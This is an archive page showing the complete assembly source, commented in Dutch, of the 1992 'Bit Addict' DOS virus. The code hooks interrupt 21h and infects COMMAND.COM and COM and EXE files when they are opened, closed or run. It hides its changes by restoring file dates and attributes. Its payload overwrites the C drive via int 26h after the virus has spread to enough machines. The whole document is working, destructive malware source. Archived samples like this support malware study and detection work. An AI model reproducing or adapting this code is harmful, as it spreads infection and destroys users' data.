home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ADDICT8.ASM < prev    next >
Assembly Source File  |  1992-03-17  |  16KB  |  793 lines

  1. ; Bit Addict Versie 4
  2.  
  3. ;-----------------------------------------------------------------------------
  4. ;-----                                                                   -----
  5. ;-----              Macros en andere hulpmiddellen                       -----
  6. ;-----                                                                   -----
  7. ;-----------------------------------------------------------------------------
  8.  
  9. ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
  10. ; wordt dan 128 bytes en er dus een foutmelding komt
  11.  
  12. dfn    macro    Num1,Num2
  13.     db    Num1
  14.     dw    offset Num2
  15.     endm
  16.  
  17. jmpc    macro    Dest            ; vervanging voor jc
  18.     local    @@00
  19.  
  20.     jnc    @@00
  21.     jmp    Dest
  22. @@00:
  23.     endm
  24.  
  25. jmpnc    macro    Dest            ; vervanging voor jnc
  26.     local    @@00
  27.  
  28.     jc    @@00
  29.     jmp    Dest
  30. @@00:
  31.     endm
  32.  
  33. jmpe    macro    Dest            ; vervanging voor je
  34.     local    @@00
  35.  
  36.     jnz    @@00
  37.     jmp    Dest
  38. @@00:
  39.     endm
  40.  
  41. jmpne    macro    Dest            ; vervanging voor jne
  42.     local    @@00
  43.  
  44.     jz    @@00
  45.     jmp    Dest
  46. @@00:
  47.     endm
  48.  
  49. eseg segment
  50.     mov    ax,4c00h        ; exit
  51.     int    21h
  52. eseg ends
  53.  
  54. ;-----------------------------------------------------------------------------
  55. ;-----                                                                   -----
  56. ;-----              Begin van het Bit Addict virus                       -----
  57. ;-----                                                                   -----
  58. ;-----------------------------------------------------------------------------
  59.  
  60. cseg segment
  61.     assume    cs:cseg,ds:cseg,es:cseg
  62.     org    0
  63.  
  64. BeginCode    equ    $                ; begin van het virus
  65.  
  66. CodeSize    equ    CodeEnd-BeginCode        ; de grootte van het
  67. CodeSizePara    equ    (CodeEnd-BeginCode+0fh) / 10h    ; virus achter een file
  68.  
  69. VirusSize    equ    VirusEnd-BeginCode        ; de grootte van het
  70. VirusSizePara    equ    (VirusEnd-BeginCode+0fh) / 10h    ; virus in het geheugen
  71.  
  72. HeaderLength    equ    18h                ; grootte van een
  73.  
  74. SavedCode    equ    this byte            ; gegevens over het
  75. OldSignature    dw    5a4dh                ; programma voor het
  76. OldCSIP        equ    this dword            ; virus
  77. OldIP        dw    0
  78. OldCS        dw    0
  79. OldSP        dw    200h
  80. OldSS        dw    0
  81. OldPartPage    dw    0
  82. OldPageCount    dw    0
  83.  
  84. Begin:    push    ax                ; Programma om het virus
  85.     push    ds                ; resident te laten blijven
  86.     push    es                ; en om de comspec te
  87.     call    Init                ; infecteren
  88.     jnc    @@12
  89.     call    BiosCheck            ; Als bit addict op een andere
  90.     push    cs                ; computer draait wordt er een
  91.     pop    es                ; teller verhoogt.
  92.     xor    al,al
  93.     mov    cx,VirusSize-CodeSize        ; zet alle variabelen op nul
  94.     mov    di,CodeSize
  95.     cld
  96.     rep    stosb                ; debug interrupt 21h om het
  97.     call    DebugOn                ; orginele interrupt te vinden
  98.     mov    ah,52h
  99.     call    DOS                ; lees het adres van de eerste
  100.     push    bx                ; disk-buffer
  101.     mov    ah,30h
  102.     call    DOS
  103.     pop    di
  104.     call    DebugOff
  105.     cmp    al,2                ; dit werkt niet op dos 1.x
  106.     jb    @@12
  107.     cmp    al,3                ; voor dos 2.x op di+13h en
  108.     adc    di,12h                ; voor dos 3+  op di+12h
  109.     lds    si,es:[di]
  110.     or    si,si
  111.     jne    @@12
  112.     push    di
  113.     cld
  114.     movsw                    ; reserveer 1e buffer
  115.     movsw
  116.     pop    di
  117.     mov    cx,ds
  118.     mov    dx,ds
  119.     mov    bx,3
  120. @@10:    call    GetBuffer            ; reserveer 2e,3e en 4e
  121.     jc    @@11                ; buffer 
  122.     dec    bx
  123.     jne    @@10
  124.     call    CopyBitAddict            ; Copieer bit addict naar
  125.     pop    es                ; de buffers
  126.     push    es                ; Infecteer bestand in de
  127.     call    InfectComspec            ; comspec
  128.     jmp    short @@12
  129. @@11:    call    RestoreBuffers            ; voor als het fout gaat
  130. @@12:    pop    es
  131.     pop    ds                ; ga nu verder met het
  132.     pop    ax                ; programma voor Bit Addict
  133.     cli
  134.     mov    ss,cs:OldSS
  135.     mov    sp,cs:OldSP
  136.     sti
  137.     jmp    cs:OldCSIP
  138.  
  139.  
  140. Comspec        db    'COMSPEC='    ; comspec environment variabele
  141.                     ; om de command.com te vinden
  142.  
  143. ID        dw    0DEADh        ; hier wordt het virus herkend
  144.                     ; als het in het geheugen staat
  145.  
  146. Count        dw    0        ; In deze variabele staat op
  147.                     ; hoeveel verschillende
  148.                     ; computers het virus is
  149.                     ; geweest
  150. Bios        db    10h dup(0)    ; Gegevens over de bios,
  151.                     ; door dit te vergelijken met
  152.                     ; de bios kan het virus weten
  153.                     ; of het virus op een andere
  154.                     ; computer draait
  155.  
  156. GetBuffer:                ; reserveer een buffer
  157.     push    di            ; cx = eerste buffer
  158.     push    es            ; dx = laatste buffer
  159.     jmp    short @@21
  160. @@20:    push    ds            ; zoek een buffer die naast een
  161.     pop    es            ; gereserveerde buffer ligt, dus
  162.     mov    di,si            ; 21h voor cx, of 21h na dx.
  163. @@21:    lds    si,es:[di]
  164.     or    si,si
  165.     jne    @@23
  166.     mov    ax,ds
  167.     sub    ax,dx
  168.     cmp    ax,21h
  169.     jne    @@22
  170.     mov    dx,ds
  171.     cld
  172.     movsw
  173.     movsw
  174.     clc
  175.     jmp    short @@24
  176. @@22:    mov    ax,ds
  177.     sub    ax,cx
  178.     cmp    ax,-21h
  179.     jne    @@20
  180.     mov    cx,ds
  181.     cld
  182.     movsw
  183.     movsw
  184.     clc
  185.     jmp    short @@24
  186. @@23:    stc
  187. @@24:    pop    es
  188.     pop    di
  189.     ret
  190.  
  191. CopyBitAddict:
  192.     push    cs                ; copieer Bit Addict naar de
  193.     pop    ds                ; gereserveerde buffers
  194.     mov    es,cx
  195.     xor    si,si
  196.     xor    di,di
  197.     mov    cx,VirusSize
  198.     cld
  199.     rep    movsb
  200.     xor    ax,ax                ; leid interrupt 21h om naar
  201.     mov    ds,ax                ; Bit Addict
  202.     mov    word ptr ds:[84h],offset NewInt21
  203.     mov    word ptr ds:[86h],es
  204.     ret
  205.  
  206. InfectComspec:
  207.     mov    es,es:[2ch]            ; lees environment segment
  208.     xor    di,di
  209.     push    cs                ; zoek naar de comspec
  210.     pop    ds                ; variabele
  211.     mov    si,offset Comspec
  212. @@30:    push    si
  213.     push    di
  214.     mov    cx,8
  215.     cld
  216.     repe    cmpsb
  217.     pop    di
  218.     pop    si
  219.     je    @@31
  220.     xor    al,al
  221.     mov    cx,-1
  222.     cld
  223.     repne    scasb
  224.     cmp    byte ptr es:[di],0        ; is dit de laatste variabele ?
  225.     jne    @@30
  226.     jmp    short @@33
  227. @@31:    push    es                ; infecteer de COMMAND.COM of
  228.     pop    ds                ; andere command interpreter,
  229.     cmp    byte ptr ds:[di+9],':'        ; maar doe dit alleen wanneer
  230.     jne    @@32                ; de comspec naar de c of de
  231.     mov    al,ds:[di+8]            ; d-drive wijst.
  232.     and    al,0dfh
  233.     cmp    al,'C'
  234.     je    @@32
  235.     cmp    al,'D'
  236.     jne    @@33
  237. @@32:    lea    dx,[di+8]
  238.     push    cs:OldIP            ; bewaar alle variabelen die
  239.     push    cs:OldCS            ; we nog nodig hebben.
  240.     push    cs:OldSP
  241.     push    cs:OldSS
  242.     call    Infect                ; infecteren
  243.     pop    cs:OldSS            ; herstel alle variabelen die
  244.     pop    cs:OldSP            ; we nog nodig hebben
  245.     pop    cs:OldCS
  246.     pop    cs:OldIP
  247. @@33:    ret
  248.  
  249. RestoreBuffers:                    ; wanneer er niet genoeg
  250.     mov    ax,cx                ; buffers zijn, zet dan de
  251. @@40:    cmp    ax,dx                ; buffers weer terug in de
  252.     je    @@42                ; keten, anders zal het
  253.     mov    ds,ax                ; systeem hangen.
  254.     add    ax,21h
  255.     mov    word ptr ds:[0],0
  256.     mov    word ptr ds:[2],ax
  257.     jmp    short @@40
  258. @@42:    mov    ds,dx
  259.     mov    ax,es:[di]
  260.     mov    ds:[0],ax
  261.     mov    word ptr es:[di],0
  262.     mov    ax,es:[di+2]
  263.     mov    ds:[2],ax
  264.     mov    es:[di+2],cx
  265.     ret
  266.  
  267. DebugOn:push    ax                ; deze procedere is om de
  268.     push    ds                ; trap-flag te zetten, en
  269.     xor    ax,ax                ; interrupt 1 te initialiseren
  270.     mov    ds,ax
  271.     cli
  272.     mov    ax,ds:[4h]
  273.     mov    word ptr cs:OldInt1[0],ax
  274.     mov    ax,ds:[6h]
  275.     mov    word ptr cs:OldInt1[2],ax
  276.     mov    word ptr ds:[4],offset NewInt1
  277.     mov    word ptr ds:[6],cs
  278.     mov    ax,ds:[84h]
  279.     mov    word ptr cs:OldInt21[0],ax
  280.     mov    ax,ds:[86h]
  281.     mov    word ptr cs:OldInt21[2],ax
  282.     mov    word ptr cs:DosInt21[0],0
  283.     mov    word ptr cs:DosInt21[2],0
  284.     pushf
  285.     pop    ax
  286.     or    ah,1
  287.     push    ax
  288.     popf
  289.     sti
  290.     pop    ds
  291.     pop    ax
  292.     ret
  293.  
  294. DebugOff:                    ; deze procedure zet de
  295.     push    ax                ; trap-flag weer op nul en
  296.     push    ds                ; herstelt interrupt 1.
  297.     cli
  298.     pushf
  299.     pop    ax
  300.     and    ah,0feh
  301.     push    ax
  302.     popf
  303.     xor    ax,ax
  304.     mov    ds,ax
  305.     mov    ax,word ptr cs:OldInt1[0]
  306.     mov    ds:[4],ax
  307.     mov    ax,word ptr cs:OldInt1[2]
  308.     mov    ds:[6],ax
  309.     sti
  310.     pop    ds
  311.     pop    ax
  312.     ret
  313.  
  314. Init:    push    cs
  315.     pop    ds
  316.     cmp    OldSignature,5a4dh
  317.     je    @@50
  318.     mov    si,offset SavedCode        ; herstel begin van het
  319.     mov    di,100h                ; com-programma
  320.     mov    cx,Dead-ComHeader+2
  321.     cld
  322.     rep    movsb
  323.     mov    OldSS,ss            ; bewaar de waarden van
  324.     mov    OldSP,sp            ; ss,sp,cs en ip
  325.     sub    OldSP,10h
  326.     mov    OldCS,es
  327.     mov    OldIP,100h
  328.     jmp    short @@51
  329. @@50:    mov    ax,es                ; bereken de waarden van
  330.     add    ax,10h                ; ss,sp,cs en ip
  331.     add    OldCS,ax
  332.     add    OldSS,ax
  333. @@51:    mov    ax,4b40h            ; controleer of Bit Addict al
  334.     int    21h                ; in het geheugen aanwezig is
  335.     jc    @@52
  336.     mov    ds,ax
  337.     mov    ax,word ptr ds:ID        ; vergelijk identificatie
  338.     cmp    ax,word ptr cs:ID
  339.     je    @@52
  340.     stc
  341. @@52:    ret
  342.  
  343. BiosCheck:                    ; deze procedure vergelijkt
  344.     mov    ax,0ffffh            ; de bios, met de gegevens
  345.     mov    ds,ax                ; over de bios in het virus,
  346.     push    cs                ; zijn deze niet gelijk, dan
  347.     pop    es                ; zal het virus op een andere
  348.     xor    si,si                ; computer draaien, en wordt
  349.     mov    di,offset Bios            ; er een teller verhoogt, komt
  350.     mov    cx,10h                ; deze teller boven de 255 dan
  351.     cld                    ; zal het bit-addict virus
  352.     repe    cmpsb                ; actief worden.
  353.     je    @@54
  354.     mov    ax,cs:Count
  355.     inc    ax
  356.     cmp    ax,100h
  357.     jb    @@53
  358.     call    BitAddict
  359. @@53:    mov    cs:Count,ax
  360.     xor    si,si
  361.     mov    di,offset Bios
  362.     mov    cx,10h
  363.     rep    movsb
  364. @@54:    ret
  365.  
  366. BitAddict:                    ; in deze procedure wordt
  367.     xor    dx,dx                ; de c-drive overscreven met
  368. @@55:    push    dx                ; onzin, dit mag verandert
  369.     mov    ax,3                ; worden, om het virus iets
  370.     xor    bx,bx                ; anders te laten doen, een
  371.     mov    cx,40h                ; muziekje spelen, of met het
  372.     int    26h                ; toetsenbord spelen
  373.     pop    ax                ; bijvoorbeeld.
  374.     pop    dx
  375.     add    dx,40h
  376.     or    dx,dx
  377.     jne    @@55
  378.     ret
  379.  
  380. NewInt1:push    bp                ; deze procedure wordt
  381.     mov    bp,sp                ; gebruikt bij het debuggen
  382.     push    ax
  383.     mov    ax,word ptr cs:DosInt21[0]
  384.     or    ax,word ptr cs:DosInt21[2]
  385.     jnz    @@60
  386.     cmp    word ptr ss:[bp+4],300h
  387.     jae    @@61
  388.     mov    ax,ss:[bp+2]
  389.     mov    word ptr cs:DosInt21[0],ax
  390.     mov    ax,ss:[bp+4]
  391.     mov    word ptr cs:DosInt21[2],ax
  392. @@60:    and    word ptr ss:[bp+6],0feffh
  393. @@61:    pop    ax
  394.     pop    bp
  395.     iret
  396.  
  397. DOS:    push    ax                ; roept interrupt 21h aan.
  398.     mov    ax,word ptr cs:DosInt21[0]
  399.     or    ax,word ptr cs:DosInt21[2]
  400.     pop    ax
  401.     jnz    @@62
  402.     pushf
  403.     call    cs:OldInt21
  404.     ret
  405. @@62:    pushf
  406.     call    cs:DosInt21
  407.     ret
  408.  
  409. Functions:                    ; dit is een tabel met alle
  410.     dfn    3ch,Open            ; dos-functies die door
  411.     dfn    3dh,Open            ; bit-addict verandert worden
  412.     dfn    3eh,Close
  413.     dfn    3fh,Read
  414.     dfn    40h,Write
  415.     dfn    4bh,Exec
  416.  
  417. NewInt21:                    ; Het nieuwe interrupt 21h
  418.     pushf
  419.     push    bx
  420.     push    bp
  421.     mov    bp,sp
  422.     mov    bx,offset Functions
  423. @@63:    cmp    ah,cs:[bx]
  424.     je    @@68
  425.     add    bx,3
  426.     cmp    bx,offset NewInt21
  427.     jne    @@63
  428.     pop    bp
  429.     pop    bx
  430. EOI:    popf
  431.     jmp    cs:OldInt21
  432. @@68:    mov    bx,cs:[bx+1]
  433.     xchg    bx,ss:[bp+2]
  434.     pop    bp
  435.     ret
  436.  
  437. InstallCheck:                    ; Zo kan bit addict weten
  438.     mov    ax,cs                ; dat er al een andere copy
  439.     popf                    ; aanwezig is
  440.     clc
  441.     retf    2
  442.  
  443. Exec:    cmp    al,40h
  444.     je    InstallCheck
  445.     call    CheckExtension            ; functie 4bh, infecteer eerst
  446.     jc    EOI                ; met Bit Addict
  447.     popf
  448.     push    dx
  449.     push    ds
  450.     pushf
  451.     call    cs:OldInt21
  452.     pop    ds
  453.     pop    dx
  454.     pushf
  455.     call    Infect
  456.     popf
  457.     retf    2
  458.  
  459. Open:    call    CheckExtension            ; fn 3ch en 3dh
  460.     jc    EOI
  461.     call    cs:OldInt21
  462.     jc    @@92
  463.     pushf
  464.     push    ax
  465.     push    cx
  466.     push    si
  467.     push    di
  468.     push    es
  469.     push    cs
  470.     pop    es
  471.     mov    si,dx
  472.     mov    di,offset File1
  473.     cmp    word ptr es:[di],0
  474.     je    @@90
  475.     mov    di,offset File2
  476.     cmp    word ptr es:[di],0
  477.     jne    @@91
  478. @@90:    cld
  479.     stosw
  480.     mov    cx,70
  481.     rep    movsb
  482. @@91:    pop    es
  483.     pop    di
  484.     pop    si
  485.     pop    cx
  486.     pop    ax
  487.     popf
  488. @@92:    retf    2
  489.  
  490. Close:    cmp    bx,cs:File1            ; fn 3eh
  491.     je    @@93
  492.     cmp    bx,cs:File2
  493.     jne    EOI
  494.     call    cs:OldInt21
  495.     push    si
  496.     mov    si,offset File2
  497.     jmp    short @@94
  498. @@93:    call    cs:OldInt21
  499.     push    si
  500.     mov    si,offset File1
  501. @@94:    jc    @@95
  502.     pushf
  503.     push    dx
  504.     push    ds
  505.     push    cs
  506.     pop    ds
  507.     lea    dx,[si+2]
  508.     call    Infect
  509.     pop    ds
  510.     pop    dx
  511.     popf
  512. @@95:    mov    word ptr cs:[si],0
  513.     pop    si
  514.     retf    2
  515.  
  516. Read:    jmp    EOI                ; fn 3fh
  517.  
  518. Write:    jmp    EOI                ; fn 40h
  519.  
  520. CheckExtension:                    ; controleer of de extensie
  521.     push    ax                ; wel exe of com is
  522.     push    cx
  523.     push    si
  524.     push    di
  525.     push    es
  526.     push    ds
  527.     pop    es
  528.     mov    di,dx                ; zoek het einde van de
  529.     xor    al,al                ; file-naam
  530.     mov    cx,70
  531.     cld
  532.     repne    scasb
  533.     jne    @@65
  534.     std
  535.     mov    al,'.'                ; zoek de laatste punt
  536.     neg    cx
  537.     add    cx,70
  538.     std
  539.     repne    scasb
  540.     jne    @@65
  541.     lea    si,[di+2]
  542.     cld
  543.     lodsw                    ; eerste 2 letters
  544.     and    ax,0dfdfh            ; maak hoofdletters
  545.     cmp    ax,5845h            ; 'EX'
  546.     je    @@64
  547.     cmp    ax,4f43h            ; 'CO'
  548.     jne    @@65
  549.     lodsb                    ; 3e letter
  550.     and    al,0dfh
  551.     cmp    al,4dh                ; 'M'
  552.     je    @@66
  553.     jmp    short @@65
  554. @@64:    lodsb                    ; 3e letter
  555.     and    al,0dfh
  556.     cmp    al,45h                ; 'E'
  557.     je    @@66
  558. @@65:    stc
  559.     jmp    short @@67
  560. @@66:    clc
  561. @@67:    pop    es
  562.     pop    di
  563.     pop    si
  564.     pop    cx
  565.     pop    ax
  566.     ret
  567.  
  568. ComHeader:                    ; dit stukje wordt voor een
  569.     mov    ax,cs                ; COM-file geplaatst, en is om
  570.     add    ax,0100h            ; het virus te starten.
  571. OldSize    equ    this word-2
  572.     push    ax
  573.     mov    ax,offset Begin
  574.     push    ax
  575.     retf
  576. Dead    equ    $
  577.     dw    0DEADh                ; signature, om te controleren
  578.                         ; of een file al eens eerder
  579.                         ; besmet is.
  580.  
  581. Infect:    push    ax                ; Infecteer een file
  582.     push    bx
  583.     push    cx
  584.     push    si
  585.     push    di
  586.     push    bp
  587.     push    es
  588.     mov    ax,4300h            ; lees attributen en bewaar
  589.     call    DOS                ; ze
  590.     jmpc    @@83
  591.     push    cx
  592.     push    dx
  593.     push    ds
  594.     test    cx,1
  595.     jz    @@71
  596.     mov    ax,4301h            ; set Read-Only attribuut
  597.     and    cx,0fffeh            ; op nul
  598.     call    DOS
  599.     jmpc    @@82
  600. @@71:    mov    ax,3d02h            ; open de file
  601.     call    DOS
  602.     jmpc    @@82
  603.     mov    bx,ax
  604.     mov    ax,5700h            ; lees de datum en tijd en
  605.     call    DOS                ; bewaar ze
  606.     jmpc    @@81
  607.     push    cx
  608.     push    dx
  609.     push    cs                ; ds=es=cs
  610.     pop    ds
  611.     push    cs
  612.     pop    es
  613.     mov    ah,3fh                ; lees de header van de file
  614.     mov    cx,HeaderLength
  615.     mov    dx,offset Header
  616.     call    DOS
  617.     jmpc    @@80
  618.     cmp    ax,HeaderLength
  619.     jne    @@75
  620.     cmp    Signature,5a4dh            ; Controleer of ID aanwezig is
  621.     jne    @@72
  622.     cmp    ExeID,0DEADh
  623.     jmp    @@73
  624. @@72:    cmp    ComID,0DEADh
  625. @@73:    jmpe    @@80                ; als ID aanwezig is, stop dan
  626. @@74:    cmp    Signature,5a4dh
  627.     je    @@77
  628. @@75:    mov    ax,4202h            ; infecteer com-files
  629.     xor    cx,cx                ; ga naar het einde van de file
  630.     xor    dx,dx
  631.     call    DOS
  632.     mov    cx,10h                ; aanpassen van de com-header
  633.     div    cx                ; aan deze com-file
  634.     or    dx,dx
  635.     je    @@76
  636.     push    ax
  637.     mov    ah,40h
  638.     mov    cx,10h
  639.     sub    cx,dx
  640.     xor    dx,dx
  641.     call    DOS
  642.     pop    ax
  643.     jmpc    @@80
  644.     inc    ax
  645. @@76:    add    ax,10h
  646.     mov    OldSize,ax
  647.     mov    si,offset Header        ; bewaar het eerste deel van
  648.     mov    di,offset SavedCode        ; het programma
  649.     mov    cx,Dead-ComHeader+2
  650.     cld
  651.     rep    movsb
  652.     mov    ah,40h                ; schrijf het virus achter het
  653.     mov    cx,CodeSize            ; programma
  654.     xor    dx,dx
  655.     call    DOS
  656.     jmpc    @@80
  657.     mov    ax,4200h            ; ga naar het begin van de file
  658.     xor    cx,cx
  659.     xor    dx,dx
  660.     call    DOS
  661.     jmpc    @@80
  662.     mov    ah,40h                ; overschrijf het begin van het
  663.     mov    cx,Dead-ComHeader+2        ; programma met de com-header
  664.     mov    dx,offset ComHeader
  665.     call    DOS
  666.     jmp    @@80
  667. @@77:    mov    di,offset SavedCode        ; infecteer exe-files
  668.     mov    ax,5a4dh            ; bewaar de oude waarden van
  669.     stosw                    ; cs:ip en ss:sp
  670.     mov    ax,ExeIP
  671.     stosw
  672.     mov    ax,ExeCS
  673.     stosw
  674.     mov    ax,ExeSP
  675.     stosw
  676.     mov    ax,ExeSS
  677.     stosw
  678.     mov    ax,PartPage
  679.     stosw
  680.     mov    ax,PageCount
  681.     stosw
  682.     mov    ExeID,0DEADh            ; Zet ID in exe-header
  683.     mov    ax,4202h
  684.     xor    cx,cx
  685.     xor    dx,dx
  686.     int    21h
  687.     mov    cx,10h
  688.     div    cx
  689.     or    dx,dx
  690.     je    @@78
  691.     push    ax
  692.     push    dx
  693.     mov    ah,40h
  694.     mov    cx,10h
  695.     sub    cx,dx
  696.     xor    dx,dx
  697.     call    DOS
  698.     pop    dx
  699.     pop    ax
  700.     jc    @@80
  701.     inc    ax
  702. @@78:    sub    ax,HeaderSize
  703.     mov    ExeCS,ax            
  704.     mov    ExeIP,offset Begin
  705.     add    ax,VirusSizePara
  706.     mov    ExeSS,ax
  707.     mov    ExeSP,200h
  708.     mov    ax,MinMem
  709.     cmp    ax,20h+VirusSizePara-CodeSizePara
  710.     jae    @@79
  711.     mov    ax,20h
  712. @@79:    mov    MinMem,ax
  713.     mov    ah,40h                ; schrijf het virus achter
  714.     mov    cx,CodeSize            ; de exe-file
  715.     xor    dx,dx
  716.     call    DOS
  717.     jc    @@80
  718.     mov    ax,4202h            ; Pas de file-lengte in de
  719.     xor    cx,cx                ; header aan, als de file veel
  720.     xor    dx,dx                ; overlays bevat, dan zal de
  721.     call    DOS                ; exe-file niet meer werken,
  722.     mov    cx,200h                ; maar de file kan wel hersteld
  723.     div    cx                ; worden.
  724.     cmp    dx,1
  725.     cmc
  726.     adc    ax,0
  727.     mov    PageCount,ax
  728.     mov    PartPage,dx
  729.     mov    ax,4200h
  730.     xor    cx,cx
  731.     xor    dx,dx                ; ga naar het begin van de file
  732.     call    DOS
  733.     jc    @@80
  734.     mov    ah,40h                ; schrijf de nieuwe exe-header
  735.     mov    cx,HeaderLength            ; over de oude heen.
  736.     mov    dx,offset Header
  737.     call    DOS
  738. @@80:    pop    dx                ; herstel de datum van de file
  739.     pop    cx
  740.     mov    ax,5701h
  741.     call    DOS
  742. @@81:    mov    ah,3eh                ; sluit de file
  743.     call    DOS
  744. @@82:    pop    ds                ; herstel de attributen van de
  745.     pop    dx                ; file
  746.     pop    cx
  747.     test    cx,1
  748.     jz    @@83
  749.     mov    ax,4301h
  750.     call    DOS
  751. @@83:    pop    es                ; herstel de waarden van de
  752.     pop    bp                ; registers en keer terug
  753.     pop    di                ; naar het oude interrupt 21
  754.     pop    si
  755.     pop    cx
  756.     pop    bx
  757.     pop    ax
  758.     ret
  759.  
  760. CodeEnd        equ    $
  761.  
  762. Header        dw    HeaderLength/2 dup(0)
  763. ComCS        equ    Header[OldSize-Comheader]    ; Com file
  764. ComID        equ    Header[Dead-ComHeader]
  765.  
  766. Signature    equ    Header[0h]            ; Exe file
  767. PartPage    equ    Header[2h]
  768. PageCount    equ    Header[4h]
  769. HeaderSize    equ    Header[8h]
  770. MinMem        equ    Header[0ah]
  771. MaxMem        equ    Header[0ch]
  772. ExeSS        equ    Header[0eh]
  773. ExeSP        equ    Header[10h]
  774. ExeID        equ    Header[12h]
  775. ExeIP        equ    Header[14h]
  776. ExeCS        equ    Header[16h]
  777.  
  778. DosInt21    dd    0
  779. OldInt21    dd    0
  780. OldInt1        dd    0
  781.  
  782. File1        dw    36 dup(0)
  783. File2        dw    36 dup(0)
  784.  
  785. VirusEnd    equ    $
  786.  
  787. cseg ends
  788.  
  789. sseg segment stack
  790.     db    200h dup(1)
  791. sseg ends
  792.  
  793. end Begin